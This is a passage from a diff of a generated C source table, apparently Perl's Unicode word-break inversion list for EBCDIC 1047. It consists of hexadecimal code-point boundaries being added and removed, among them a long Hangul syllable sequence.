0x26E2, + 0x26EA, + 0x26EB, + 0x26F1, + 0x26F6, + 0x26F7, 0x26F9, 0x26FA, + 0x26FB, + 0x26FD, + 0x2705, 0x2708, - 0x2709, 0x270A, 0x270E, + 0x275B, + 0x2761, + 0x2762, 0x2764, 0x2765, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, + 0x2768, + 0x2769, + 0x276A, + 0x276B, + 0x276C, + 0x276D, + 0x276E, + 0x276F, + 0x2770, + 0x2771, + 0x2772, + 0x2773, + 0x2774, + 0x2775, + 0x2776, + 0x27C5, + 0x27C6, + 0x27C7, + 0x27E6, + 0x27E7, + 0x27E8, + 0x27E9, + 0x27EA, + 0x27EB, + 0x27EC, + 0x27ED, + 0x27EE, + 0x27EF, + 0x27F0, + 0x2983, + 0x2984, + 0x2985, + 0x2986, + 0x2987, + 0x2988, + 0x2989, + 0x298A, + 0x298B, + 0x298C, + 0x298D, + 0x298E, + 0x298F, + 0x2990, + 0x2991, + 0x2992, + 0x2993, + 0x2994, + 0x2995, + 0x2996, + 0x2997, + 0x2998, + 0x2999, + 0x29D8, + 0x29D9, + 0x29DA, + 0x29DB, + 0x29DC, + 0x29FC, + 0x29FD, + 0x29FE, + 0x2CEF, + 0x2CF2, + 0x2CF9, + 0x2CFA, + 0x2CFD, + 0x2CFE, + 0x2CFF, 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, 0x2D70, + 0x2D71, 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, + 0x2D80, 0x2DE0, 0x2E00, + 0x2E0E, + 0x2E16, + 0x2E17, + 0x2E18, + 0x2E19, + 0x2E1A, + 0x2E1C, + 0x2E1E, + 0x2E20, + 0x2E22, + 0x2E23, + 0x2E24, + 0x2E25, + 0x2E26, + 0x2E27, + 0x2E28, + 0x2E29, + 0x2E2A, + 0x2E2E, 0x2E2F, 0x2E30, + 0x2E32, + 0x2E33, + 0x2E35, + 0x2E3A, + 0x2E3C, + 0x2E3F, + 0x2E40, + 0x2E42, + 0x2E43, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3000, + 0x3001, + 0x3003, 0x3005, 0x3006, + 0x3008, + 0x3009, + 0x300A, + 0x300B, + 0x300C, + 0x300D, + 0x300E, + 0x300F, + 0x3010, + 0x3011, + 0x3012, + 0x3014, + 0x3015, + 0x3016, + 0x3017, + 0x3018, + 0x3019, + 0x301A, + 0x301B, + 0x301C, + 0x301D, + 0x301E, + 0x3020, 0x302A, 0x3030, - 0x3031, + 0x3035, 0x3036, 0x303B, 0x303D, + 0x3040, + 0x3041, + 0x3042, + 0x3043, + 0x3044, + 0x3045, + 0x3046, + 0x3047, + 0x3048, + 0x3049, + 0x304A, + 0x3063, + 0x3064, + 0x3083, + 0x3084, + 0x3085, + 0x3086, + 0x3087, + 0x3088, + 0x308E, + 0x308F, + 0x3095, + 0x3097, 0x3099, - 0x309D, + 0x309B, + 0x309F, 0x30A0, + 0x30A2, + 0x30A3, + 0x30A4, + 0x30A5, + 0x30A6, + 0x30A7, + 0x30A8, + 0x30A9, + 0x30AA, + 0x30C3, + 0x30C4, + 0x30E3, + 0x30E4, + 0x30E5, + 0x30E6, + 0x30E7, + 0x30E8, + 0x30EE, + 0x30EF, + 0x30F5, + 0x30F7, 0x30FB, - 0x30FC, + 0x30FF, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, - 0x31A0, + 0x3190, 0x31BB, + 0x31C0, + 0x31E4, 0x31F0, 0x3200, - 0x32D0, + 0x321F, + 0x3220, + 0x3248, + 0x3250, 0x32FF, 0x3300, - 0x3358, - 0xA000, + 0x4DC0, + 0x4E00, + 0xA015, + 0xA016, 0xA48D, - 0xA4D0, + 0xA490, + 0xA4C7, 0xA4FE, 0xA500, 0xA60D, + 0xA60E, + 0xA60F, 0xA610, - 0xA62C, - 0xA640, + 0xA620, + 0xA62A, + 0xA66F, 0xA673, 0xA674, 0xA67E, - 0xA67F, + 0xA69E, + 0xA6A0, + 0xA6F0, 0xA6F2, - 0xA717, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, + 0xA6F3, + 0xA6F8, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, 0xA828, - 0xA840, + 0xA838, + 0xA839, 0xA874, + 0xA876, + 0xA878, 0xA880, + 0xA882, + 0xA8B4, 0xA8C6, + 0xA8CE, 0xA8D0, 0xA8DA, 0xA8E0, - 0xA8F8, - 0xA8FB, + 0xA8F2, 0xA8FC, 0xA8FD, - 0xA8FE, 0xA900, + 0xA90A, + 0xA926, 0xA92E, 0xA930, + 0xA947, 0xA954, 0xA960, 0xA97D, 0xA980, + 0xA984, + 0xA9B3, 0xA9C1, - 0xA9CF, + 0xA9C7, + 0xA9CA, + 0xA9D0, 0xA9DA, 0xA9E5, 0xA9E6, 0xA9F0, 0xA9FA, - 0xAA00, + 0xAA29, 0xAA37, - 0xAA40, + 0xAA43, + 0xAA44, + 0xAA4C, 0xAA4E, 0xAA50, 0xAA5A, + 0xAA5D, + 0xAA60, 0xAA7B, 0xAA7E, 0xAAB0, @@ -359100,39 +72269,825 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xAAC0, 0xAAC1, 0xAAC2, - 0xAAE0, + 0xAAEB, 0xAAF0, 0xAAF2, + 0xAAF5, 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, + 0xABE3, 0xABEB, 0xABEC, 0xABEE, 0xABF0, 0xABFA, 0xAC00, + 0xAC01, + 0xAC1C, + 0xAC1D, + 0xAC38, + 0xAC39, + 0xAC54, + 0xAC55, + 0xAC70, + 0xAC71, + 0xAC8C, + 0xAC8D, + 0xACA8, + 0xACA9, + 0xACC4, + 0xACC5, + 0xACE0, + 0xACE1, + 0xACFC, + 0xACFD, + 0xAD18, + 0xAD19, + 0xAD34, + 0xAD35, + 0xAD50, + 0xAD51, + 0xAD6C, + 0xAD6D, + 0xAD88, + 0xAD89, + 0xADA4, + 0xADA5, + 0xADC0, + 0xADC1, + 0xADDC, + 0xADDD, + 0xADF8, + 0xADF9, + 0xAE14, + 0xAE15, + 0xAE30, + 0xAE31, + 0xAE4C, + 0xAE4D, + 0xAE68, + 0xAE69, + 0xAE84, + 0xAE85, + 0xAEA0, + 0xAEA1, + 0xAEBC, + 0xAEBD, + 0xAED8, + 0xAED9, + 0xAEF4, + 0xAEF5, + 0xAF10, + 0xAF11, + 0xAF2C, + 0xAF2D, + 0xAF48, + 0xAF49, + 0xAF64, + 0xAF65, + 0xAF80, + 0xAF81, + 0xAF9C, + 0xAF9D, + 0xAFB8, + 0xAFB9, + 0xAFD4, + 0xAFD5, + 0xAFF0, + 0xAFF1, + 0xB00C, + 0xB00D, + 0xB028, + 0xB029, + 0xB044, + 0xB045, + 0xB060, + 0xB061, + 0xB07C, + 0xB07D, + 0xB098, + 0xB099, + 0xB0B4, + 0xB0B5, + 0xB0D0, + 0xB0D1, + 0xB0EC, + 0xB0ED, + 0xB108, + 0xB109, + 0xB124, + 0xB125, + 0xB140, + 0xB141, + 0xB15C, + 0xB15D, + 0xB178, + 0xB179, + 0xB194, + 0xB195, + 0xB1B0, + 0xB1B1, + 0xB1CC, + 0xB1CD, + 0xB1E8, + 0xB1E9, + 0xB204, + 0xB205, + 0xB220, + 0xB221, + 0xB23C, + 0xB23D, + 0xB258, + 0xB259, + 0xB274, + 0xB275, + 0xB290, + 0xB291, + 0xB2AC, + 0xB2AD, + 0xB2C8, + 0xB2C9, + 0xB2E4, + 0xB2E5, + 0xB300, + 0xB301, + 0xB31C, + 0xB31D, + 0xB338, + 0xB339, + 0xB354, + 0xB355, + 0xB370, + 0xB371, + 0xB38C, + 0xB38D, + 0xB3A8, + 0xB3A9, + 0xB3C4, + 0xB3C5, + 0xB3E0, + 0xB3E1, + 0xB3FC, + 0xB3FD, + 0xB418, + 0xB419, + 0xB434, + 0xB435, + 0xB450, + 0xB451, + 0xB46C, + 0xB46D, + 0xB488, + 0xB489, + 0xB4A4, + 0xB4A5, + 0xB4C0, + 0xB4C1, + 0xB4DC, + 0xB4DD, + 0xB4F8, + 0xB4F9, + 0xB514, + 0xB515, + 0xB530, + 0xB531, + 0xB54C, + 0xB54D, + 0xB568, + 0xB569, + 0xB584, + 0xB585, + 0xB5A0, + 0xB5A1, + 0xB5BC, + 0xB5BD, + 0xB5D8, + 0xB5D9, + 0xB5F4, + 0xB5F5, + 0xB610, + 0xB611, + 0xB62C, + 0xB62D, + 0xB648, + 0xB649, + 0xB664, + 0xB665, + 0xB680, + 0xB681, + 0xB69C, + 0xB69D, + 0xB6B8, + 0xB6B9, + 0xB6D4, + 0xB6D5, + 0xB6F0, + 0xB6F1, + 0xB70C, + 0xB70D, + 0xB728, + 0xB729, + 0xB744, + 0xB745, + 0xB760, + 0xB761, + 0xB77C, + 0xB77D, + 0xB798, + 0xB799, + 0xB7B4, + 0xB7B5, + 0xB7D0, + 0xB7D1, + 0xB7EC, + 0xB7ED, + 0xB808, + 0xB809, + 0xB824, + 0xB825, + 0xB840, + 0xB841, + 0xB85C, + 0xB85D, + 0xB878, + 0xB879, + 0xB894, + 0xB895, + 0xB8B0, + 0xB8B1, + 0xB8CC, + 0xB8CD, + 0xB8E8, + 0xB8E9, + 0xB904, + 0xB905, + 0xB920, + 0xB921, + 0xB93C, + 0xB93D, + 0xB958, + 0xB959, + 0xB974, + 0xB975, + 0xB990, + 0xB991, + 0xB9AC, + 0xB9AD, + 0xB9C8, + 0xB9C9, + 0xB9E4, + 0xB9E5, + 0xBA00, + 0xBA01, + 0xBA1C, + 0xBA1D, + 0xBA38, + 0xBA39, + 0xBA54, + 0xBA55, + 0xBA70, + 0xBA71, + 0xBA8C, + 0xBA8D, + 0xBAA8, + 0xBAA9, + 0xBAC4, + 0xBAC5, + 0xBAE0, + 0xBAE1, + 0xBAFC, + 0xBAFD, + 0xBB18, + 0xBB19, + 0xBB34, + 0xBB35, + 0xBB50, + 0xBB51, + 0xBB6C, + 0xBB6D, + 0xBB88, + 0xBB89, + 0xBBA4, + 0xBBA5, + 0xBBC0, + 0xBBC1, + 0xBBDC, + 0xBBDD, + 0xBBF8, + 0xBBF9, + 0xBC14, + 0xBC15, + 0xBC30, + 0xBC31, + 0xBC4C, + 0xBC4D, + 0xBC68, + 0xBC69, + 0xBC84, + 0xBC85, + 0xBCA0, + 0xBCA1, + 0xBCBC, + 0xBCBD, + 0xBCD8, + 0xBCD9, + 0xBCF4, + 0xBCF5, + 0xBD10, + 0xBD11, + 0xBD2C, + 0xBD2D, + 0xBD48, + 0xBD49, + 0xBD64, + 0xBD65, + 0xBD80, + 0xBD81, + 0xBD9C, + 0xBD9D, + 0xBDB8, + 0xBDB9, + 0xBDD4, + 0xBDD5, + 0xBDF0, + 0xBDF1, + 0xBE0C, + 0xBE0D, + 0xBE28, + 0xBE29, + 0xBE44, + 0xBE45, + 0xBE60, + 0xBE61, + 0xBE7C, + 0xBE7D, + 0xBE98, + 0xBE99, + 0xBEB4, + 0xBEB5, + 0xBED0, + 0xBED1, + 0xBEEC, + 0xBEED, + 0xBF08, + 0xBF09, + 0xBF24, + 0xBF25, + 0xBF40, + 0xBF41, + 0xBF5C, + 0xBF5D, + 0xBF78, + 0xBF79, + 0xBF94, + 0xBF95, + 0xBFB0, + 0xBFB1, + 0xBFCC, + 0xBFCD, + 0xBFE8, + 0xBFE9, + 0xC004, + 0xC005, + 0xC020, + 0xC021, + 0xC03C, + 0xC03D, + 0xC058, + 0xC059, + 0xC074, + 0xC075, + 0xC090, + 0xC091, + 0xC0AC, + 0xC0AD, + 0xC0C8, + 0xC0C9, + 0xC0E4, + 0xC0E5, + 0xC100, + 0xC101, + 0xC11C, + 0xC11D, + 0xC138, + 0xC139, + 0xC154, + 0xC155, + 0xC170, + 0xC171, + 0xC18C, + 0xC18D, + 0xC1A8, + 0xC1A9, + 0xC1C4, + 0xC1C5, + 0xC1E0, + 0xC1E1, + 0xC1FC, + 0xC1FD, + 0xC218, + 0xC219, + 0xC234, + 0xC235, + 0xC250, + 0xC251, + 0xC26C, + 0xC26D, + 0xC288, + 0xC289, + 0xC2A4, + 0xC2A5, + 0xC2C0, + 0xC2C1, + 0xC2DC, + 0xC2DD, + 0xC2F8, + 0xC2F9, + 0xC314, + 0xC315, + 0xC330, + 0xC331, + 0xC34C, + 0xC34D, + 0xC368, + 0xC369, + 0xC384, + 0xC385, + 0xC3A0, + 0xC3A1, + 0xC3BC, + 0xC3BD, + 0xC3D8, + 0xC3D9, + 0xC3F4, + 0xC3F5, + 0xC410, + 0xC411, + 0xC42C, + 0xC42D, + 0xC448, + 0xC449, + 0xC464, + 0xC465, + 0xC480, + 0xC481, + 0xC49C, + 0xC49D, + 0xC4B8, + 0xC4B9, + 0xC4D4, + 0xC4D5, + 0xC4F0, + 0xC4F1, + 0xC50C, + 0xC50D, + 0xC528, + 0xC529, + 0xC544, + 0xC545, + 0xC560, + 0xC561, + 0xC57C, + 0xC57D, + 0xC598, + 0xC599, + 0xC5B4, + 0xC5B5, + 0xC5D0, + 0xC5D1, + 0xC5EC, + 0xC5ED, + 0xC608, + 0xC609, + 0xC624, + 0xC625, + 0xC640, + 0xC641, + 0xC65C, + 0xC65D, + 0xC678, + 0xC679, + 0xC694, + 0xC695, + 0xC6B0, + 0xC6B1, + 0xC6CC, + 0xC6CD, + 0xC6E8, + 0xC6E9, + 0xC704, + 0xC705, + 0xC720, + 0xC721, + 0xC73C, + 0xC73D, + 0xC758, + 0xC759, + 0xC774, + 0xC775, + 0xC790, + 0xC791, + 0xC7AC, + 0xC7AD, + 0xC7C8, + 0xC7C9, + 0xC7E4, + 0xC7E5, + 0xC800, + 0xC801, + 0xC81C, + 0xC81D, + 0xC838, + 0xC839, + 0xC854, + 0xC855, + 0xC870, + 0xC871, + 0xC88C, + 0xC88D, + 0xC8A8, + 0xC8A9, + 0xC8C4, + 0xC8C5, + 0xC8E0, + 0xC8E1, + 0xC8FC, + 0xC8FD, + 0xC918, + 0xC919, + 0xC934, + 0xC935, + 0xC950, + 0xC951, + 0xC96C, + 0xC96D, + 0xC988, + 0xC989, + 0xC9A4, + 0xC9A5, + 0xC9C0, + 0xC9C1, + 0xC9DC, + 0xC9DD, + 0xC9F8, + 0xC9F9, + 0xCA14, + 0xCA15, + 0xCA30, + 0xCA31, + 0xCA4C, + 0xCA4D, + 0xCA68, + 0xCA69, + 0xCA84, + 0xCA85, + 0xCAA0, + 0xCAA1, + 0xCABC, + 0xCABD, + 0xCAD8, + 0xCAD9, + 0xCAF4, + 0xCAF5, + 0xCB10, + 0xCB11, + 0xCB2C, + 0xCB2D, + 0xCB48, + 0xCB49, + 0xCB64, + 0xCB65, + 0xCB80, + 0xCB81, + 0xCB9C, + 0xCB9D, + 0xCBB8, + 0xCBB9, + 0xCBD4, + 0xCBD5, + 0xCBF0, + 0xCBF1, + 0xCC0C, + 0xCC0D, + 0xCC28, + 0xCC29, + 0xCC44, + 0xCC45, + 0xCC60, + 0xCC61, + 0xCC7C, + 0xCC7D, + 0xCC98, + 0xCC99, + 0xCCB4, + 0xCCB5, + 0xCCD0, + 0xCCD1, + 0xCCEC, + 0xCCED, + 0xCD08, + 0xCD09, + 0xCD24, + 0xCD25, + 0xCD40, + 0xCD41, + 0xCD5C, + 0xCD5D, + 0xCD78, + 0xCD79, + 0xCD94, + 0xCD95, + 0xCDB0, + 0xCDB1, + 0xCDCC, + 0xCDCD, + 0xCDE8, + 0xCDE9, + 0xCE04, + 0xCE05, + 0xCE20, + 0xCE21, + 0xCE3C, + 0xCE3D, + 0xCE58, + 0xCE59, + 0xCE74, + 0xCE75, + 0xCE90, + 0xCE91, + 0xCEAC, + 0xCEAD, + 0xCEC8, + 0xCEC9, + 0xCEE4, + 0xCEE5, + 0xCF00, + 0xCF01, + 0xCF1C, + 0xCF1D, + 0xCF38, + 0xCF39, + 0xCF54, + 0xCF55, + 0xCF70, + 0xCF71, + 0xCF8C, + 0xCF8D, + 0xCFA8, + 0xCFA9, + 0xCFC4, + 0xCFC5, + 0xCFE0, + 0xCFE1, + 0xCFFC, + 0xCFFD, + 0xD018, + 0xD019, + 0xD034, + 0xD035, + 0xD050, + 0xD051, + 0xD06C, + 0xD06D, + 0xD088, + 0xD089, + 0xD0A4, + 0xD0A5, + 0xD0C0, + 0xD0C1, + 0xD0DC, + 0xD0DD, + 0xD0F8, + 0xD0F9, + 0xD114, + 0xD115, + 0xD130, + 0xD131, + 0xD14C, + 0xD14D, + 0xD168, + 0xD169, + 0xD184, + 0xD185, + 0xD1A0, + 0xD1A1, + 0xD1BC, + 0xD1BD, + 0xD1D8, + 0xD1D9, + 0xD1F4, + 0xD1F5, + 0xD210, + 0xD211, + 0xD22C, + 0xD22D, + 0xD248, + 0xD249, + 0xD264, + 0xD265, + 0xD280, + 0xD281, + 0xD29C, + 0xD29D, + 0xD2B8, + 0xD2B9, + 0xD2D4, + 0xD2D5, + 0xD2F0, + 0xD2F1, + 0xD30C, + 0xD30D, + 0xD328, + 0xD329, + 0xD344, + 0xD345, + 0xD360, + 0xD361, + 0xD37C, + 0xD37D, + 0xD398, + 0xD399, + 0xD3B4, + 0xD3B5, + 0xD3D0, + 0xD3D1, + 0xD3EC, + 0xD3ED, + 0xD408, + 0xD409, + 0xD424, + 0xD425, + 0xD440, + 0xD441, + 0xD45C, + 0xD45D, + 0xD478, + 0xD479, + 0xD494, + 0xD495, + 0xD4B0, + 0xD4B1, + 0xD4CC, + 0xD4CD, + 0xD4E8, + 0xD4E9, + 0xD504, + 0xD505, + 0xD520, + 0xD521, + 0xD53C, + 0xD53D, + 0xD558, + 0xD559, + 0xD574, + 0xD575, + 0xD590, + 0xD591, + 0xD5AC, + 0xD5AD, + 0xD5C8, + 0xD5C9, + 0xD5E4, + 0xD5E5, + 0xD600, + 0xD601, + 0xD61C, + 0xD61D, + 0xD638, + 0xD639, + 0xD654, + 0xD655, + 0xD670, + 0xD671, + 0xD68C, + 0xD68D, + 0xD6A8, + 0xD6A9, + 0xD6C4, + 0xD6C5, + 0xD6E0, + 0xD6E1, + 0xD6FC, + 0xD6FD, + 0xD718, + 0xD719, + 0xD734, + 0xD735, + 0xD750, + 0xD751, + 0xD76C, + 0xD76D, + 0xD788, + 0xD789, 0xD7A4, 0xD7B0, 0xD7C7, 0xD7CB, 0xD7FC, + 0xF900, 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, 0xFB1D, + 0xFB1E, + 0xFB1F, 0xFB29, 0xFB2A, 0xFB37, @@ -359145,50 +73100,99 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xFB43, 0xFB45, 0xFB46, - 0xFBB2, - 0xFBD3, + 0xFB50, 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, + 0xFD3F, + 0xFD40, 0xFDFC, + 0xFDFD, 0xFE00, + 0xFE10, 0xFE11, 0xFE13, 0xFE15, + 0xFE17, + 0xFE18, + 0xFE19, + 0xFE1A, 0xFE20, 0xFE30, - 0xFE33, 0xFE35, - 0xFE4D, + 0xFE36, + 0xFE37, + 0xFE38, + 0xFE39, + 0xFE3A, + 0xFE3B, + 0xFE3C, + 0xFE3D, + 0xFE3E, + 0xFE3F, + 0xFE40, + 0xFE41, + 0xFE42, + 0xFE43, + 0xFE44, + 0xFE45, + 0xFE47, + 0xFE48, + 0xFE49, + 0xFE50, 0xFE51, 0xFE52, 0xFE53, 0xFE54, 0xFE56, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, + 0xFE58, + 0xFE59, + 0xFE5A, + 0xFE5B, + 0xFE5C, + 0xFE5D, + 0xFE5E, + 0xFE5F, + 0xFE67, + 0xFE68, + 0xFE69, + 0xFE6A, + 0xFE6B, + 0xFE6C, 0xFEFF, 0xFF00, - 0xFF07, + 0xFF01, + 0xFF02, + 0xFF04, + 0xFF05, + 0xFF06, 0xFF08, + 0xFF09, + 0xFF0A, 0xFF0C, 0xFF0D, 0xFF0E, 0xFF0F, 0xFF1A, 0xFF1C, - 0xFF21, + 0xFF1F, + 0xFF20, 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, + 0xFF3C, + 0xFF3D, + 0xFF3E, 0xFF5B, + 0xFF5C, + 0xFF5D, + 0xFF5E, + 0xFF5F, + 0xFF60, + 0xFF62, + 0xFF63, + 0xFF65, 0xFF66, + 0xFF67, + 0xFF71, + 0xFF9E, + 0xFFA0, 0xFFBF, 0xFFC2, 0xFFC8, @@ -359198,229 +73202,155 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xFFD8, 0xFFDA, 0xFFDD, + 0xFFE0, + 0xFFE1, + 0xFFE2, + 0xFFE5, + 0xFFE7, 0xFFF9, 0xFFFC, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, + 0xFFFD, + 0x10100, + 0x10103, 0x101FD, 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, 0x102E0, 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, + 0x10376, 0x1037B, - 0x10380, - 0x1039E, + 0x1039F, 0x103A0, - 0x103C4, - 0x103C8, 0x103D0, 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, 0x104A0, 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, + 0x10857, + 0x10858, + 0x1091F, 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, + 0x10A01, 0x10A04, 0x10A05, 0x10A07, 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, + 0x10A10, 0x10A38, 0x10A3B, 0x10A3F, 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, + 0x10A50, + 0x10A58, + 0x10AE5, 0x10AE7, - 0x10B00, - 0x10B36, + 0x10AF0, + 0x10AF6, + 0x10AF7, + 0x10B39, 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, 0x11000, + 0x11003, + 0x11038, 0x11047, + 0x11049, 0x11066, 0x11070, 0x1107F, + 0x11083, + 0x110B0, 0x110BB, - 0x110BD, 0x110BE, - 0x110D0, - 0x110E9, + 0x110C2, 0x110F0, 0x110FA, 0x11100, + 0x11103, + 0x11127, 0x11135, 0x11136, 0x11140, - 0x11150, + 0x11144, + 0x11173, 0x11174, + 0x11175, 0x11176, - 0x11177, 0x11180, + 0x11183, + 0x111B3, + 0x111C1, 0x111C5, + 0x111C7, + 0x111C8, + 0x111C9, 0x111CA, 0x111CD, 0x111D0, + 0x111DA, 0x111DB, 0x111DC, 0x111DD, - 0x11200, - 0x11212, - 0x11213, + 0x111E0, + 0x1122C, 0x11238, + 0x1123A, + 0x1123B, + 0x1123D, 0x1123E, 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, 0x112A9, - 0x112B0, + 0x112AA, + 0x112DF, 0x112EB, 0x112F0, 0x112FA, 0x11300, 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, 0x1133C, + 0x1133D, + 0x1133E, 0x11345, 0x11347, 0x11349, 0x1134B, 0x1134E, - 0x11350, - 0x11351, 0x11357, 0x11358, - 0x1135D, + 0x11362, 0x11364, 0x11366, 0x1136D, 0x11370, 0x11375, - 0x11400, + 0x11435, + 0x11447, 0x1144B, + 0x1144F, 0x11450, 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, + 0x1145B, + 0x1145C, + 0x114B0, + 0x114C4, 0x114D0, 0x114DA, - 0x11580, + 0x115AF, 0x115B6, 0x115B8, 0x115C1, + 0x115C2, + 0x115C4, + 0x115C6, + 0x115C9, 0x115D8, + 0x115DC, 0x115DE, - 0x11600, + 0x11630, 0x11641, - 0x11644, - 0x11645, + 0x11643, 0x11650, 0x1165A, - 0x11680, + 0x11660, + 0x1166D, + 0x116AB, 0x116B8, 0x116C0, 0x116CA, @@ -359428,96 +73358,69 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1172C, 0x11730, 0x1173A, - 0x118A0, + 0x1173C, + 0x1173F, + 0x118E0, 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, + 0x11C2F, 0x11C37, 0x11C38, + 0x11C40, 0x11C41, + 0x11C46, 0x11C50, 0x11C5A, + 0x11C70, + 0x11C71, 0x11C72, - 0x11C90, 0x11C92, 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, + 0x12470, + 0x12475, + 0x13258, + 0x1325B, + 0x1325E, + 0x13282, + 0x13283, + 0x13286, + 0x13287, + 0x13288, + 0x13289, + 0x1328A, + 0x13379, + 0x1337A, + 0x1337C, + 0x145CE, + 0x145CF, + 0x145D0, 0x16A60, 0x16A6A, - 0x16AD0, - 0x16AEE, + 0x16A6E, + 0x16A70, 0x16AF0, 0x16AF5, - 0x16B00, + 0x16AF6, + 0x16B30, 0x16B37, - 0x16B40, + 0x16B3A, 0x16B44, + 0x16B45, 0x16B50, 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, + 0x16F51, 0x16F7F, 0x16F8F, - 0x16FA0, + 0x16F93, 0x16FE0, - 0x16FE2, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, 0x1B000, - 0x1B001, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, + 0x1B002, 0x1BC9D, 0x1BC9F, 0x1BCA0, @@ -359532,66 +73435,6 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1D1AE, 0x1D242, 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, 0x1D7CE, 0x1D800, 0x1DA00, @@ -359602,6 +73445,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1DA76, 0x1DA84, 0x1DA85, + 0x1DA87, + 0x1DA8B, 0x1DA9B, 0x1DAA0, 0x1DAA1, @@ -359616,112 +73461,37 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1E025, 0x1E026, 0x1E02B, - 0x1E800, - 0x1E8C5, 0x1E8D0, 